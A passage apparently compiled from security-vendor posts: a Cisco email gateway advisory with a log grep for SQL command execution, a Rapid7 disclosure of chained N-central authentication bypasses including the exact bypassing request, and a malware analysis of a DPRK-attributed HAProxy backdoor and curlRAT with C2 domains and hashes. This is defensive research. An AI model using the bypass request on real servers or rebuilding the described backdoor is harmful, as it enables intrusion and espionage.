Experts advised organizations and employees to treat unsolicited device codes as a red flag, assume compromised accounts are fully cataloged in minutes, and independently verify requests to change payment information or redirect funds.
“The infrastructure supporting EvilTokens has been disrupted, but the model it demonstrated will not disappear with it,” Masada warned.
On September 14, 2026, Cisco published a security advisory for CVE-2026-76461, a critical SQL injection vulnerability affecting Cisco AsyncOS Software for Cisco Secure Email Gateway. The vulnerability has a reported CVSS v3.1 base score of 9.8 and could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on an affected appliance.
Cisco Secure Email Gateway, formerly known as IronPort Email Security Appliance, is an enterprise email security product that inspects inbound and outbound email for threats including phishing, malware, spam, and business email compromise. Because affected gateways process externally delivered email as part of their normal operation, exploitation does not require access to an administrative interface or authentication. An attacker can reportedly trigger the vulnerability by sending a specially crafted email through a vulnerable gateway.
CVE-2026-76461 was added to CISA's Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor disclosed the vulnerability, indicating that CVE-2026-76461 was exploited as a zero-day prior to disclosure. Cisco noted that their PSIRT became aware of active exploitation in September 2026. At the time of publication, there is no public proof-of-concept exploit code available, and no attribution for the current threat actor activity.
Mitigation guidance
Organizations running Cisco Secure Email Gateway should prioritize upgrading to a vendor-supplied fixed version on an emergency basis, outside of normal patching cycles.
Affected Version
Fixed Version
15.5 and earlier
15.5.5-014
16.0
16.0.4-302
16.5
16.5.0-780
Given the reported active exploitation and the ability to achieve unauthenticated root-level command execution through malicious email processing, organizations should prioritize patching rather than relying solely on network controls or monitoring. Cisco also strongly recommends that customers migrate to the latest product version, 16.5.0-780.
For the latest remediation guidance, see the vendor advisory.
Indicators of compromise
The following indicators of compromise for CVE-2026-76461 were reported within the Cisco security advisory.
To confirm any attempted exploitation of this vulnerability, review the mail_logs and look for suspicious SQL statements. If the device is part of a cluster, review the logs of each cluster device. The following is a non-exhaustive example of how a malicious SQL statement could be detected in the logs:
cisco-esa> grep -i "COPY.*TO PROGRAM" [IronPort Text Mail Logs Log name - Default: mail_logs]
The presence of any entry in the output may indicate malicious activity.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-76461 with a vulnerability check expected to be available in the September 16 content release.
While conducting research into a recent N-able N-central authentication bypass vulnerability (CVE-2026-18577), Rapid7 Labs discovered two new vulnerabilities affecting the latest version of N-central. When chained together, these two vulnerabilities allow a remote unauthenticated attacker to bypass authentication and create a new attacker-controlled System administrator account on an affected server.
Both CVE-2026-86206 and CVE-2026-86207 have been patched by the vendor via N-central 2026.3 Hotfix 3.
Product description
N-able N-central is an enterprise-grade Remote Monitoring and Management (RMM) platform designed for Managed Service Providers (MSPs) and IT departments to monitor, manage, and secure complex, large-scale networks from a centralized dashboard.
Credit
These vulnerabilities were discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7's vulnerability disclosure policy.
Technical analysis
CVE-2026-86206
N-central exposes its management interface (TCP 8443 by default) through Envoy, an edge proxy. Envoy passes accepted requests to Jetty, the Java web server that hosts N-central's application. The application gives requests from the loopback address (i.e. 127.0.0.1) more access than requests from a remote system. This design depends on Envoy, Jetty, and the N-central access filter all agreeing on which application path the client requested and whether the client is really local. The following request can make them disagree about both of these things:
POST /dms;/services/ServerUI HTTP/1.1
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
The semicolon in the URI and backslash in the Forwarded value introduce a discrepancy when processing the request that leads to an access control bypass. Looking at Figure 1 below, we can see an overview of how these two values are processed during an incoming malicious request.
Figure 1: Processing a malicious request.
The semicolon gets the request past Envoy
The Envoy proxy rules come from the n-central-proxy-4.5.6-5 package. In /etc/opt/envoy/lds_intermediate.yaml, shown below (and edited for brevity), the management listener returns HTTP 403 for paths beginning with /dms/services or /internal/dms. A final catch-all rule sends other paths to the DMS application.
# /etc/opt/envoy/lds_intermediate.yaml:953
- match:
prefix: /internal/dms
# response-header boilerplate omitted
direct_response:
status: 403
body:
inline_string: Forbidden. No API access on the UI port.
# ...
- match:
prefix: /dms/services
# response-header boilerplate omitted
direct_response:
status: 403
body:
inline_string: Forbidden. No API access on the UI port.
# ...
# /etc/opt/envoy/lds_intermediate.yaml:1301
# A final catch-all rule...
- match:
prefix: /
route:
cluster: dms
timeout:
seconds: 300
Envoy compares those prefixes with the path it received. The path /dms;/services/ServerUI does not begin with /dms/services, because the next character after /dms is a semicolon. It therefore reaches the catch-all route, passing the request from Envoy to Jetty.
Jetty interprets the path differently. The shipped jetty-http-9.4.56.v20240826.jar contains org.eclipse.jetty.http.HttpURI, and org.eclipse.jetty.util.URIUtil. Together, these classes treat text beginning with a semicolon as a path parameter and remove it when producing the decoded path used for servlet dispatch. As a result, Jetty turns /dms;/services/ServerUI into /dms/services/ServerUI. That decoded path then matches the Axis SOAP servlet mapping in /opt/nable/webapps/ROOT/WEB-INF/web.xml.
Similarly, the same technique can be used to target the SOAP service via /internal;/dms/services2/ServerUI2. Jetty decodes it to /internal/dms/services2/ServerUI2, which matches the CXF SOAP servlet mapping. A single semicolon is sufficient to create the routing disagreement.
Reaching these servlet mappings puts the request at the protected SOAP interfaces that an exploit can leverage to establish an application session and later manage privileged objects, but the semicolon trick alone does not authorize the request. Without the crafted Forwarded header, Jetty retains the client's real remote address and N-central's ServletPathFilter denies access. Conversely, the header trick alone cannot help a request to the ordinary /dms/services/ServerUI or /internal/dms/services2/ServerUI2 path: Envoy returns HTTP 403 without forwarding that request to Jetty.
As such, an exploit needs both discrepancies; the semicolon to pass Envoy's path check and the header to pass N-central's local-request check.
The header makes the remote client look local
The Forwarded header tells an application about the original client behind a proxy. In a malicious request, the for value is quoted and contains a quoted-pair (\1):
Forwarded: for="127.0.0.\1"
Under the HTTP quoted-string grammar, the backslash escapes the following character. Jetty's ForwardedRequestCustomizer, from jetty-server-9.4.56.v20240826.jar, applies that rule. It removes the backslash, reads the value as 127.0.0.1, and exposes that value to N-central as the request's remote address.
N-central then parses the original header a second time. Its parser is in com.nable.util.LocalHostUtils, from /opt/nable/webapps/ROOT/WEB-INF/lib/dmsservice-11.0.1-SNAPSHOT.jar. This parser removes the surrounding quotes but does not remove the backslash. It therefore checks 127.0.0.\1.
That string is not a valid IP address. LocalHostUtils.xffCheck() rejects an invalid value found in X-Forwarded-For, but its Forwarded branch rejects only values that it successfully recognizes as loopback. The below (abridged) decompilation shows the relevant branch:
When given the header value 127.0.0.\1, the isLoopbackAddress() call (at [1]) returns false (at [2]) because the value is invalid. The loop therefore continues and xffCheck() returns true (at [3]). In other words, an invalid Forwarded header value causes xffCheck to fail open. The final decision occurs in com.nable.server.ServletPathFilter, shown below.
The first check asks whether a forwarding header is trying to claim a loopback address (at [4]). N-central's parser sees the invalid value 127.0.0.\1, does not recognize it as loopback, and allows it. The second check asks whether Jetty's remote address is local (at [5]). Jetty has already converted the same header value to 127.0.0.1, so this check succeeds. The filter returns true (at [6]) before consulting the normal remote-path allowlist.
CVE-2026-86207
By leveraging CVE-2026-86206 to reach the protected URI /dms/services/ServerUI, a SessionID returned by the Session.Hello SOAP operation (See the prior work by Horizon3 on leveraging the legacy SOAP API) can be generated. However, this SessionID is only a pre-login session. It proves that the request reached the local-only SOAP API via the access control bypass, but it does not yet identify an authenticated user. A separate authentication bypass vulnerability, in how legacy two-factor authentication operates, allows a pre-login session to become an authenticated session.
The method com.nable.server.ui.UserTwoFactorLogin, from dmsservice-11.0.1-SNAPSHOT.jar (shown below), binds a requested user ID (e.g. the builtin N-able Administrator account’s well known ID 1) to the session (at [1]) before it attempts legacy two-factor authentication (at [2]) . A normal authentication rejection removes that binding (at [4]), but if an exception occurs, this binding is left in place (at [3]).
N-central supports two distinct second-factor systems: legacy, profile-based authentication using an external AuthAnvil or RSA SecurID server, and native time-based one-time password (TOTP) “Two-Step Verification” using an authenticator application. Despite overlapping 2FA/MFA terminology in N-able’s documentation, com.nable.server.ui.UserTwoFactorLogin implements the former profile-based mechanism; it does not enforce the user’s native TOTP setting.
In a default installation, legacy two-factor processing raises an exception for several builtin identities used by N-central, as each of these identities lack a single legacy AuthAnvil or RSA 2FA profile association required by UserTwoFactorLogin. Specifically the following built-in identities can be leveraged via their known ID numbers.
User ID 1 (N-able Administrator)
User ID 50 (Product Administrator)
User ID 51 (N-able Support)
By creating a new pre-login session for any one of the above IDs, a SOAP call to User.TwoFactorLogin with a dummy password will achieve the authentication bypass, converting the pre-login session to a privileged SOAP session for that user. By using additional calls to the ServerUI2 SOAP endpoint, a new attacker-controlled System user account can be created.
Remediation
The vendor-supplied release of N-central 2026.3 Hotfix 3 (version 2026.3.1.13) remediates both CVE-2026-86206 and CVE-2026-86207. All versions of N-central prior to 2026.3.1.13 are vulnerable. Customers running affected on-premise N-central environments are urged to apply the latest update on an urgent basis, outside of normal patching cycles.
Customers using hosted N-central environments do not need to take action as the vendor has applied the needed updates.
Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to both CVE-2026-86206 and CVE-2026-86207, with authenticated vulnerability checks expected to be available in the September 8 content release.
Disclosure timeline
August 27, 2026: Rapid7 makes initial outreach to N-able who respond the same day.
August 28, 2026: Rapid7 provides a detailed technical analysis and exploit script to N-able, along with a proposed timeline for a coordinated disclosure.
September 5, 2026: N-able release N-central 2026.3 HF3 which fixes two of the vulnerabilities (CVE-2026-86206, CVE-2026-86207) reported by Rapid7.
September 7, 2026: Rapid7 contacts N-able requesting clarity on several issues. N-able responds the same day with requested information.
September 8, 2026: This disclosure for CVE-2026-86206 and CVE-2026-86207.
A new Linux toolkit, identified by Rapid7 Labs, has been targeting organizations across South Korea’s automotive and media industries with minimal detection. The campaign made use of a HAProxy instance named “ted backdoor”, alongside trojanized versions of crond, agetty, atd, sshd, and polkitd. This previously undocumented framework enabled threat actors to execute remote commands on compromised servers, inject malicious scripts into web traffic, perform credential harvesting, and engage in long-term surveillance.
The standout feature of this toolkit is its depth of integration with the target environment. The ted backdoor is compiled as part of the victim’s existing HAProxy version 2.8.12. It uses its native filter API, internal memory pools, event scheduler, and process management infrastructure to intercept traffic and hide from monitoring, while genuine load balancing traffic operates as expected.
Operating alongside this are an SSH keylogger, a curl-based RAT, and a stager. The RAT maintains a watchdog thread dedicated to tracking HAProxy’s health, and reporting it back to the operator’s infrastructure. The earliest uploads on VirusTotal date back to mid-2025 and the involved HAProxy 2.8.12-0fdb194was released on 22 November 2024, establishing this as the earliest possible compilation date for this build.
The toolkit is attributed with medium confidence to DPRK APTs, given that the attacks Rapid7 observed were targeting South Korean media and automotive sectors, likely aiming at long-term espionage, the usage of simple xor-based encryption, custom substitution cipher, and the list of C2s hardcoded is associated to APT37 by ThreatFox and maltrail. Analysis shows that the ted backdoor could be part of a broader framework covering nginx backdoor as well. The ted plugin registers a custom HAProxy filter that hooks the HTTP parser to inspect and log high-value traffic, steal session cookies, and perform a client IP selection to decide whether to inject custom scripts in the webpage being rendered.
Technical analysis
Rapid7 researchers revealed that the toolkit was used in campaigns targeting South Korean automotive and media sectors likely dating back to early 2025. The number of trojanized binaries and functionalities found suggest the scope could be long-term cyber espionage and surveillance. However, gathered evidence does not suffice to establish a timeline nor how the initial access was performed.
At the time of analysis, both victims were running an edge webserver with ports 80, 443, and 25 exposed. Port 443 hosted the Groupware login portal and port 25 exposed a mail server. Either surface represents a plausible initial access vector consistent with documented Kimsuky tradecraft. Since the beginning of 2026 Kimsuky has been observed exploiting RCE vulnerabilities in externally accessible mail servers to compromise South Korean groupware vendors, while Groupware web portals represent the kind of exposed authenticated application that DPRK-nexus actors have repeatedly targeted for credential harvesting and exploitation. The specific entry point and any associated CVE remain unconfirmed pending further forensic evidence.
The scenario shown in Figure 1 assumes the initial access is obtained by exploitation of CVEs related to the Groupware portal.
Figure 1: Attack chain partially reconstructed
⠀
The threat actor begins by exploiting a vulnerability in the Groupware login portal running on the edge webserver, gaining an initial foothold in the DMZ. From there, they establish persistence and harvest credentials from the compromised edge host (e.g. SSH keylogger), which also doubles as a staging server hosting the trojanized system ELFs.
With a foothold on the edge, the attacker pivots inward and drops the stager onto internal servers. The stager checks for the presence of either crond or HAProxy, and only then deploys CurlRAT retrieving it either from its data section or the edge webserver.
In parallel, ted backdoor is dropped onto the HAProxy load balancer. Once active,it establishes its own C2 channel to the external operator infrastructure, enabling data exfiltration, command execution, and script injection. On the victim side, the compromised load balancer silently redirects or serves malicious content to selected clients browsing through it, completing the watering-hole loop.
SSH keylogger
4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5 intercepts legitimate users' plaintext passwords and saves them to an encrypted log file under /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19.
Figure 2: hardcoded master passwords in userauth_passwd()
⠀
After checking that entered credentials are not equal to TA’s master passwords, userauth_passwd() proceeds to encrypt them using a custom substitution cipher recurring throughout the toolkit and base64 encoding.
Figure 3: Substitution cipher used to encrypt credentials
⠀
Pivoting from the above cipher, instances of polkitd, crond, agetty and atd binaries were identified using a similar encryption algorithm. Crond binaries were found to be delivered by a stager.
CurlRAT Stager
The stager 5db1b6d52faf60b4f32d6fd0c7c938e4d05d29a14c32ded4a9668357c08b6a91 starts by decrypting its configuration strings using a 1-byte XOR, then verifies root privileges and profiles the OS checking system hostname, OS distribution and version IDs, kernel release and version numbers and CPU architecture to select the correct payload to drop. It decrypts the trojanized crond binary in memory, overwrites the system's legitimate daemon, and restarts the service. As shown below, only if HAProxy or cron are running on the system will it proceed to drop the backdoored crond.
Figure 4: Stager configuration
⠀
Checking for HAProxy presence is done as the binary, named by TA as ted backdoor. It also has RAT capabilities and plays a major role in the campaigns described. The embedded crond versions supported are CentOS 7.7, 7.8, 7.9 and Ubuntu 22.04 and after installing the backdoor, timestomping ensures the crond binary gets the same creation timestamp of /usr/bin/ssh. The stager ends by filtering out keywords such as tmp, wget cron and crond from Linux system logs using a staging file named /tmp/jasper-log, likely to blend in as the JSP (JavaServer Pages) engine in old Apache Tomcat versions, erasing any traces of the installation. The logs affected by the selective erasure are /root/.bash_history and the following under /var/log: messages, audit/audit.log, cmd.log, secure, syslog, auth.log.
09739441ed4599bac2f8159028f772f71e4b25c8badfff95574e56d7384f3dbe and fea1bc36632c71e5a839803469ef60ac47595d36b2c50934ac109ade6df06e61 are a different variant of the stager that fetches backdoored binaries from a compromised victim’s server without embedding any payloads.
CurlRAT
The Ubuntu version is analyzed below, though CentOS samples follow the same logic except for the filepath used to hide config/staging files.
As for the stager, feeea9d0bf6ae7396d28271baa51ae50df5169ce5d32a516865856f91abc50b3 starts by decrypting configuration strings using a 1-byte XOR key (0x58).
Figure 5: curlRAT configuration
⠀
The main logic added to crond is executed via two threads. The first thread runs the start_routine function that creates the staging directory snapd under /var/lib, where it attempts to load the victim ID from /var/lib/snapd/g580. If network failures were previously recorded, it reaches out to a secondary domain – img.darklights.store – authenticating with api_token/ecd427ea8330a4ff73618483e00b9b41 and setting the User-token header to the victim ID to fetch updated configuration under /tmp/nimon.unix-docbase.8564479396043450766-db6fb4443bc, where it’s then copied into /var/lib/snapd/g105.
To decrypt the configuration, the first byte of the file initializes the seed of a feedback xor based cipher. Each poll cycle, a config file is fetched from the C2 server over HTTPS (falling back to HTTP on failure) using libcurl, with the victim token embedded in the User-token header. The fetched config is parsed for three single-character delimiters — ! terminates the credential field, # marks the payload section, and * separates arguments — after which the credential field is compared against the local victim token.
If authentication succeeds, a single-character mode byte (ASCII '0' through '5') preceding the delimiter “#” selects one of six handler routines via a jump table. Payloads embedded in the config are decoded through a two-stage pipeline: standard Base64 decoding followed by a rolling cumulative XOR cipher keyed from the decoded header. The C2 task handler sleeps for 43,200 seconds (12 hours) between polls by default, but the operator can activate a fast-poll mode by setting a flag, reducing the interval to 30 seconds. A retry loop calls the handler up to six times per cycle with five-second intervals, failing fast if the first attempt does not succeed. The table below shows the C2 commands accepted.
Mode
Function
Description
0
cmd execution
Base64 + XOR-decodes a command list from the config, executes each line via popen with stderr redirected to stdout, saves output into a 1 MB buffer, and sends the result back.
1
config write
Decodes and writes a new config payload to disk, validates it, and sets the polling interval and fast-poll flag. If the validation fails, the C2 resets to img.monderhouse.space
2
staged payload drop
Issues an authenticated HTTP POST to the C2 host with a task path as the body, streams the response to a temporary file, decompresses and moves it to the final drop path, unlinking the temp.
3
reverse shell
Closes all file descriptors above 2, calls setuid(0) and setreuid(0, 0), forcing both its real and effective user IDs to root, and connects out before handing off to the shell dispatcher.
4
beacon
Populates a 10 KB system-info structure and transmits it as a check-in beacon.
5
PTY shell
A full interactive PTY shell, the payload consists of an ip:port.
Modes 0–2 and 4 use libcurl-based HTTP/HTTPS, hence the name curlRAT. All modes use Base64+XOR encoding/decoding applied to the payload. The victim ID is obtained by concatenating "cron_3.0pl1-137ubuntu3", system hostname, ipv4 address, and the hardware/OS UUID (read from /sys/class/dmi/id/product_uuid), then applying MD5 hash and converting it to uppercase.
The layer of encryption used for all C2 interactions consists of a feedback xor cipher using an initial random seed (modulo 240 + 10, 0<=seed<=249) and then applying Base64 encoding. The malware encapsulates the encrypted and encoded payload, the service name, and the telemetry type into a formatted application/x-www-form-urlencoded HTTP POST body (name=%s&value=%s&type=%d) which is sent to the C2 and authenticated using an hardcoded API token, including the victim ID in the User-token header.
The second thread acts as the HAProxy watchdog. Before entering the monitoring loop, it checks for the presence of the file /usr/lib/libvirtlog.so.0 to ensure the target is running in a virtualized environment, otherwise it sleeps 6 minutes and aborts. Then it accesses the MD5 victim ID under /var/lib/snapd/g580 to check if the node is active and compromised. Every hour the watchdog reads the pid at /var/run/haproxy.pid and monitors the status of HAProxy by polling /proc/pid. The status can be one of the following codes:
0 (Started): Process transitioned from stopped to running
1 (Stopped): Process is no longer active in the kernel process table
2 (Restarted): PID file timestamp modified, and a new PID is detected
3 (Reloaded): PID file timestamp modified, but the PID remained identical
The status is then sent to the C2 endpoint “writeservice_info” using the custom crypto layer and the telemetry type set to 0 (Figure 6).
Figure 6: writeinfo_service monitoring HAProxy status
⠀
The CentOS versions of curlRAT contain the same functionalities, except that functions are masqueraded as atd_ routines to blend in during static analysis.
Figure 7: The two threads running curlRAT logic
⠀
Below is the table summarizing the main RAT components.
The atd_get_info() is a recon routine likely used to decide which binary trojanized next to ensure persistence on the node. It collects the service name of the compromised machine and sends it to the C2 via the atd_response routine together with Ipv4 address, OS version, and the list of services and listening port (Figure 9).
Figure 9: Recon module output sent to the C2
⠀
MODE, DELAY and SERVER_URL are parsed from the config file discussed previously. During the campaign observed by Rapid7, the RAT acts as a framework and constitutes the codebase to edit legitimate system daemons. Other trojanized instances found are agetty and polkitd, where we identified a similar pattern lacking the HAProxy monitor: the creation of a thread to run curlRAT, reaching to img.worksongo.store and img.socialteams.store respectively.
atd_encrypt_url and atd_decrypt_url leverages the substitution cipher “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/--__" shared with the ssh keylogger.
Ted backdoor
The TA recompiled the HAProxy build 2.8.12 72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558 (18MB) to include a custom plugin (named ted_plugin) leaving debug strings naming the backdoor.
Figure 10: ted_plugin compiled as part of the source code
⠀
Figure 10 shows that the plugin was directly compiled with the rest of HAProxy source code and hooks directly the built-in HTTP parser relying on internal HAProxy structure for searching HTTP request headers.The custom filter defined to capture traffic is loaded via the ted_load_filter_config routine.
Figure 11: my_filter_config struct
⠀
The routine reads the implant's operational configuration from ~/cache/haproxy-1000.cache. Each field is decrypted in two layers: first ngx_decode applies a chained XOR seeded by the file's first byte; then ngx_decrypt_script applies a monoalphabetic substitution whose 67-entry mapping table is built at startup in ted_init_util from “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/--__" , and held in the ted_dec_dict uthash table keyed by Jenkins hash for O(1) lookup. The config carries the operating mode, all targeting regexes, every script rule with its payload paths and filenames, and the allowed operator keys. IP-based access control lists are loaded from haproxy-1001.cache and haproxy-1002.cache via the same decryption scheme. In other ted backdoor samples, the my_filter_config struct includes regexes to capture cookies as well.
After loading its configuration, it sets up signal handling via ted_register_reload_signal_handler() and saves its C2 pipe under HAPROXY_MWORKER_PP_READ and HAPROXY_MWORKER_PP_WRITE environmental variables to survive reloads and restarts, saving child process activity via ted_extra_log().
Below is the list of functions defined by the ted_plugin:
trace_chn_start_analyze() is hooked via ted_chn_analyze_for_htx_constprop_0() that parses the HTX buffer — the memory region where HAProxy stores parsed, SSL-decrypted HTTP request. If an incoming request matches the endpoint "/favorite_list_2x_m500_ico.jpg" (Figure 13), the malware drops into a Command & Control mode, setting the field flag to 1 in the ted_rep_state structure that tracks the response state.
⠀
Figure 13: Dropping into C2 mode
⠀
First, it reaches into HAProxy's internal counters to decrement active connection stats, referencing fields from the proxy struct via hardcoded 2.8.12 offsets to clear any trace left: the per-backend beconn/feconn and the global actconn, then 64-bit fields within be_counters (cum_conn, cum_req, bytes_in, bytes_out) guarded against underflow, and 32-bit peak metrics (sps_max, conn_max, cps_max) decremented only when exactly 1. Secondly, it parses a custom hardcoded 14-byte header to obtain the payload length, then creates FIFO pipes via ted_make_pipe_name and ted_create_multi_pipe_file keyed on HAProxy's connection ID under /tmp (e.g. /tmp/t[ID]_w.pipe). If HAProxy is running in master-worker mode (MODE_MWORKER, bit 0x80), the connection ID is written to the pp_w2m pipe so the master process runs the dispatcher; otherwise a detached thread runs ted_pipe_worker_thread locally (Figure 13).
The HTX walk filters on block type 4, which is HTX_BLK_DATA, and writes each block straight into fdPipe with write(). Any short write aborts and closes the pipe. Afterwards to_forward, output, buf.head and buf.data on the request channel are all zeroed. That tells HAProxy there is nothing left to forward, so the attacker's command body never reaches a backend server. The C2 request terminates at the load balancer, and no backend ever logs it.
The C2 dispatcher logic is resumed in the table below.
Command
Description
Opcode '0' (0x30)
Beacon: returns a version banner including build ID (24112201), HAProxy version (2.8.12-0fdb194), master-worker mode status, and chroot path.
Opcode '1' (0x31)
File upload: resolves path via ted_build_correct_path, writes file content via fopen(path, "wb"), and replies 1. Used to upload payload files for the injection path.
Opcode '2' (0x32)
File download: reads a path, stats it, writes the 8-byte size, and streams the contents back with EAGAIN handling.
Opcode '3' (0x33)
Command execution: executes commands via popen; merges stdout/stderr, appends " 2>&1", and streams output back XOR-encrypted.
Opcode '9' (0x39)
Config update: writes new config to ~/cache/haproxy-1000.cache.bak, re-encrypts using chained XOR, validates via ted_load_filter_config, and renames over the active config file if successful.
All five handlers write the same “HTTP/1.0 200 OK” header with Content-Type: text/html into the read pipe before the body. That's what the response task then relays out via send() on the raw socket, which is why the traffic looks like an ordinary HTTP response on the wire despite never passing through HAProxy's response path. Output back to the operator uses a rolling XOR cipher where each plaintext block is the key used to encrypt the next block with a random 1-byte seed.
If the initial endpoint check does not match "/favorite_list_2x_m500_ico.jpg" and the filter is in capture mode, then traffic is selectively logged and victims are identified based on the capturelist_set field within the my_filter_config struct (Figure 11), containing the list of targeted IPs and subnets. It uses regular expressions to filter the incoming HTTP traffic, waiting for high-value requests (like a user hitting a /login endpoint or an admin panel).
When a victim's request matches the attacker's filters, the backdoor goes to work.
It extracts the victim's source IP, the requested Host, the Referer, and the User-Agent formatting the data in a single-line record using exclamation marks as separators.
Figure 14: Real-time capturing of selected HTTP headers matching specific regexes
⠀
The execution flow continues based on conf->action; zero means passive logging only, non-zero starts the injection path. A request then has to clear four conditions. It needs a User-Agent, and if agent_pattern is configured that regex has to match. Second, the code scans the User-Agent for the bytes x,6,4, it selects between the two payload paths the matched rule retrieving them ted_script_config struct (path_32 at offset 0x18 and path_64 at 0x20). Third, the script rule list is walked until one ted_script_config entry's URL and referer regexes both match, with a null referer counting as an automatic pass. Thus the operator catches a victim arriving at a specific page from a specific referrer, rather than spraying at everyone hitting a URL.
⠀
Figure 15: Custom ted structure defined to inject malicious code in the page, and store regex rules and the connection context
⠀
Fourth, the implant parses Accept-Language splitting on ; and =, pulling four operator-controlled fields: mrt for the 64-byte uid credential, msc for an 8-byte status, mst for an 8-byte score, and a fourth keyword read from off_355407 for a 1024-byte infoblob. Parsing is order-independent and any subset can appear. If mrt yields a key, it must exist in allow_id_set, and that credential overrides IP filtering entirely, letting the operator reach the requested page from anywhere. It also upgrades the log record to the *-prefixed format carrying uid, status,score, and info. With no key, the fallback is IP-based:action == 1requires whitelist membership, action == 2 requires blacklist absence, both checked twice, once with the final octet zeroed for /24 subnet matching and once for the exact host.
Once all checks are cleared the chosen file is opened, stored in the per-connection ted_rep_state as fpAppend and nTotal, alongside a script_conf back-reference to the matched rule. The replace byte at offset 0x00 of that rule sets flag to 4 when zero and 2 when non-zero, distinguishing appending content from substituting it. Finally the code sets its filter flag and increments nb_rsp_data_filters or nb_req_data_filters on the stream, which is HAProxy's documented opt-in for body access– this time reusing the internal structure of the load balancer to inject code into the page at delivery time.
Figure 16: Hooking the HTTP response
⠀
Once a victim is marked for injection, two callbacks finish the job on the way out. ted_http_headers_for_htx runs first, and only when the data is on the response side, a state block is initialized during the request, and the transaction flag is set. It rechecks the response against the rule that matched earlier, testing Content-Type and the status line, so a payload is delivered only when the reply is a document worth modifying. It then reshapes the response to fit the incoming file: sets Content-Type, adds a Content-Disposition filename if the rule has one, writes the new body length into the custom length header, deletes Accept-Ranges so the client cannot request byte ranges and spot the size mismatch, and forces the status to 200OK if it was anything else.
ted_http_payload performs the swap. For each body chunk, it takes only as much as the payload file has left, reads that slice from disk, decrypts it with ngx_decrypt_script, and substitutes it through HAProxy's own body-editing calls. When the replacement changes the body length, the code shifts every remaining filter's offset by the difference, so nothing downstream sees an inconsistency. With the rewritten length header and range support stripped, the size change leaves no trace.
trace_http_end handles the leftover bytes. The previous callback can only overwrite bytes that already exist in the response, so when the payload is larger than the original body there is a remainder with nowhere to go. This function runs at the end of the response and appends it. It checks that the state block is in an injection mode, that the headers were already rewritten, and that fewer bytes have been delivered than the payload holds. If so, it measures the free space left in the response buffer, reads exactly that much from the payload file, decrypts it with ngx_decrypt_script, and appends it as a new data block, bumping the channel's output count to match.
The result is that a payload of any size can be delivered across as many passes as it takes, using HAProxy's own scheduler to drive the process.
To ensure persistence, curlRAT is integrated and hidden as libc routines.
Figure 17: ted backdoor including curlRAT configuration a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7
⠀
Attacker infrastructure
The observed infrastructure follows a consistent pattern: Domains are registered under low-cost commodity TLDs —.store, .space, .site, .autos — and use subdomain schemes mimicking image-serving CDN endpoints (img.) They then blend payload delivery traffic into normal web browsing. The naming convention across suggests a shared registration workflow rather than ad-hoc infrastructure. Theimg.responsive.pstatic.autos mimics Naver'spstatic.net static content domain, a South Korean web platform, which combined with the watering-hole delivery model adopted by the ted backdoor is consistent with targeting of Korean-speaking users.
Attribution
At the time of the analysis, compromised servers had exposed the Groupware login portal on port 443, which is heavily present in Korean enterprise environments. The targeting of regional software (Groupware), mimicking Naver's static content domain, usage of simple xor and substitution ciphers and the watering-hole model already documented in the Operation Code on Toast (APT37)and Operation Synchole (Lazarus),allows medium confidence attribution to DPRK APT. The list of C2s hardcoded is associated with APT37 by ThreatFox and maltrail.
The campaign's timeline and delivery mechanism overlap with Operation SyncHole, a concurrent Lazarus campaign documented by Kaspersky running from November 2024 through February 2025, in which Lazarus compromised South Korean media sites to redirect visitors to pages serving malicious JavaScript payloads. APT37 and Lazarus Group are distinct North Korean state-sponsored threat clusters assessed by Mandiant to operate under different DPRK agencies — APT37 under the Ministry of State Security, Lazarus under the Reconnaissance General Bureau — though both conduct cyber espionage targeting South Korean entities. Lazarus has been observed to deploy backdoored open-source programs to deliver malware and use feedback XOR + base64 to interact with the C2 by Kaspersky. As of July 2026, similar suspected initial access has been reported by ENKI WhiteHat, suggesting that if a vulnerability in South Korean mail appliances exists, the exploitation could still be ongoing and leveraged by DPRK APTs.
Further evidence is necessary to make a more definitive assessment. Moreover, the presence ofngx_* prefixed routines within the ted backdoorsuggest code reused from an nginx backdoor. The ngx_* prefixed routines were observed during the latest Funnull campaign, where (similar to our case) a custom nginx filter was registered to hook HTTP traffic, and simple XOR encryption was applied to the configuration file. However, other than a similar naming convention, no significant code-level overlaps exist to support a stronger linkage.
Conclusion
ted backdoor and curlRAT were designed to persist during long-term espionage operations with the ability to steal cookie sessions, credentials, redirect selected users, conduct drive-by download attacks, and hide evidence of the tampered page to a specific range of IPs to evade detection. Defenders should treat any edge component managing user traffic, SSL, or runtime modules with the same strict security standards as their main application servers. Relying on the component's own logs is not enough; securing these systems requires independent network correlation, memory behavioral analysis, and binary integrity checks.
MITRE ATT&CK techniques
Tactic
Technique
Detail
Component
Initial access
[T1190] Exploit public-facing application
HAProxy filter API abused as injection point; watering-hole payload delivery via compromised load balancer
ted backdoor
Execution
[T1059.004] Unix shell
popen() used for one-shot command execution per opcode '3'; PTY shell spawned per opcode '5'; reverse shell per opcode '3' in CurlRAT
ted backdoor, CurlRAT
Execution
[T1106] Native API
pthread_create / pthread_detach for detached shell threads; HAProxy pool_alloc / task_wakeup for async response scheduling
ted backdoor
Persistence
[T1574.006] Hijack execution flow: dynamic linker
Implant loaded as HAProxy shared library filter at process start; persistent across HAProxy restarts
ted backdoor
Persistence
[T1543] Create or modify system process
Legitimate crond binary overwritten in-place; service restarted; timestomping to match /usr/bin/ssh creation time
Stager, CurlRAT
Privilege escalation
[T1548] Abuse elevation control mechanism
setuid(0) / setreuid(0,0) called before reverse shell daemonisation; stager verifies root before payload drop
